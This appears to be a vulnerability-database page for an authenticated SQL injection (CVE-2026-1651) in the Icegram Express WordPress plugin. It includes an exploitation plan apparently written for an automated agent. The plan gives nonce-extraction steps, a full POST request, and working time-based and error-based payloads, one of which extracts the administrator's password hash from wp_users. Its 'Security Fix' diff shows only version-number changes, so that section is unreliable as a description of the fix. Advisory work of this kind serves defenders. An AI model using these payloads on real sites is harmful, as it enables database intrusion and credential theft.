Email Subscribers & Newsletters <= 5.9.16 - Authenticated (Administrator+) SQL Injection via 'workflow_ids' Parameter
Description
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the 'workflow_ids' parameter in all versions up to, and including, 5.9.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:NTechnical Details
<=5.9.16What Changed in the Fix
Changes introduced in v5.9.17
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1651 ## 1. Vulnerability Summary **CVE-2026-1651** is an authenticated SQL injection vulnerability in the **Email Subscribers & Newsletters (Icegram Express)** plugin for WordPress. The flaw exists in the handling of the `workflow_ids` parameter, which is use…
Show full research plan
Exploitation Research Plan - CVE-2026-1651
1. Vulnerability Summary
CVE-2026-1651 is an authenticated SQL injection vulnerability in the Email Subscribers & Newsletters (Icegram Express) plugin for WordPress. The flaw exists in the handling of the workflow_ids parameter, which is used in SQL queries without proper sanitization, escaping, or preparation using $wpdb->prepare(). Authenticated users with Administrator privileges can inject arbitrary SQL commands into existing queries, typically leading to sensitive data extraction from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ig_es_admin_ajax(standard for the plugin's modern admin interface) - Vulnerable Parameter:
workflow_ids(typically passed inside adataobject or array) - Required Authentication: Administrator level access.
- Preconditions: The plugin must be active. A valid nonce for the
ig_es_admin_ajaxaction is required.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=ig_es_admin_ajax. - Hook Registration: The plugin registers this action (likely in the main class or a dedicated AJAX loader) which routes to a handler function.
- Dispatching: The handler reads a
methodparameter from the request (e.g.,delete_workflowsorbulk_action_workflows) and dispatches the request to the corresponding controller method inES_Workflows_ControllerorES_Dashboard_Controller. - Data Acquisition: The controller uses
ig_es_get_request_data( 'data' )to extract parameters. Theworkflow_idsvalue is retrieved from this data. - Vulnerable Sink: The
workflow_idsvalue (often a string or array) is concatenated directly into an SQLDELETEorUPDATEquery'sWHERE ID IN (...)clause.- Example Sink:
$wpdb->query("DELETE FROM {$wpdb->prefix}ig_workflows WHERE id IN ($workflow_ids)");
- Example Sink:
- Execution: The malicious SQL is executed by
$wpdb.
4. Nonce Acquisition Strategy
The plugin enqueues a localized script that contains the necessary nonce for administrative AJAX actions.
- Shortcode/Trigger: The
ig-es-admin-ajax-nonceis localized when the Icegram Express dashboard or settings pages are loaded. - Setup: The agent should navigate to the plugin's dashboard.
- Extraction:
- Navigate to:
[TARGET_URL]/wp-admin/admin.php?page=es_dashboard - JavaScript Variable: The nonce is typically stored in the
es_onboarding_dataores_dashboard_dataobject. - Command:
browser_eval("window.es_onboarding_data?.security || window.es_dashboard_data?.security") - Verbatim Identifier: Based on
lite/includes/controllers/class-es-onboarding-controller.php, the key issecurityand the localization variable name ises_onboarding_data.
- Navigate to:
5. Exploitation Strategy
We will perform a time-based blind SQL injection to confirm the vulnerability.
Step 1: Extract Nonce
Use the browser to access the admin dashboard and extract the ig-es-admin-ajax-nonce.
Step 2: Construct the Payload
The workflow_ids parameter is expected to be part of the data parameter in a JSON-like format or an array.
Payload for workflow_ids: 1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -
Step 3: Execute the Request
Submit a POST request to admin-ajax.php.
Request Details:
- URL:
[TARGET_URL]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=ig_es_admin_ajax
method=delete_workflows
security=[EXTRACTED_NONCE]
data[workflow_ids]=1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -
Note: If the plugin expects JSON in the data parameter:data={"workflow_ids":"1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -"}
6. Test Data Setup
- User: Ensure an Administrator user exists and is logged in.
- Content: Create at least one dummy workflow to ensure the code path for deletion/bulk-action is reached.
- Use WP-CLI:
wp eval "ES()->workflows_db->insert(array('name' => 'Test Workflow', 'status' => 'active'));"(Assuming the table/method exist based onclass-es-dashboard-controller.php).
- Use WP-CLI:
7. Expected Results
- Success: The HTTP request should take approximately 10 seconds to respond.
- Response Body: Usually a JSON response like
{"success": true, ...}or a generic1. - Database: No workflows might actually be deleted if the
ID1)doesn't match, but theSLEEPcommand will execute regardless because it is part of theANDlogic.
8. Verification Steps
- Timing Check: Monitor the
time_totalof thehttp_request. If it exceeds 10 seconds, the injection is successful. - Error Log Check: Check
wp-content/debug.log(if enabled) for SQL syntax errors which might reveal the full query structure. - Data Extraction (Proof of Concept):
- Attempt to extract the DB version:
1) AND (SELECT 1 FROM (SELECT(IF(SUBSTR(VERSION(),1,1)='8',SLEEP(10),0)))a)-- -
- Attempt to extract the DB version:
9. Alternative Approaches
- In-place SQLi: Try the
workflow_idsparameter in differentmethodcontexts:toggle_workflow_status,bulk_delete, orarchive_workflows. - Direct Parameter: If
data[workflow_ids]fails, try sendingworkflow_idsas a top-level POST parameter. - Error-Based: If
WP_DEBUGis on, useUPDATEXMLorEXTRACTVALUEfor faster data extraction:workflow_ids=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
Summary
The Icegram Express (Email Subscribers & Newsletters) plugin for WordPress is vulnerable to SQL injection via the 'workflow_ids' parameter in versions up to 5.9.16. This flaw exists because the plugin fails to properly escape user-supplied input or use prepared statements before including it in database queries during administrative workflow actions. Authenticated attackers with administrator-level access can exploit this to append malicious SQL commands and extract sensitive information from the database.
Security Fix
@@ -3,7 +3,7 @@ * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin * Plugin URI: https://www.icegram.com/ * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published. - * Version: 5.9.16 + * Version: 5.9.17 * Author: Icegram * Author URI: https://www.icegram.com/ * Requires at least: 3.9 @@ -187,7 +187,7 @@ /* ***************************** Initial Compatibility Work (End) ******************* */ if ( ! defined( 'ES_PLUGIN_VERSION' ) ) { - define( 'ES_PLUGIN_VERSION', '5.9.16' ); + define( 'ES_PLUGIN_VERSION', '5.9.17' ); } // Plugin Folder Path.
Exploit Outline
To exploit this vulnerability, an attacker must be authenticated with Administrator privileges. The attacker first navigates to the plugin's dashboard to extract a valid security nonce for the 'ig_es_admin_ajax' action, typically located in the 'es_onboarding_data' or 'es_dashboard_data' JavaScript variables. A POST request is then made to /wp-admin/admin-ajax.php with the 'action' set to 'ig_es_admin_ajax' and the 'method' set to a workflow action (e.g., 'delete_workflows' or 'bulk_action_workflows'). The malicious SQL payload is passed via the 'workflow_ids' key within the 'data' parameter. For example, using a payload like '1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -' in the 'workflow_ids' parameter will cause the database to pause execution for 10 seconds, confirming the injection point. Further manipulation allows for extracting sensitive information from database tables using blind or error-based SQL injection techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.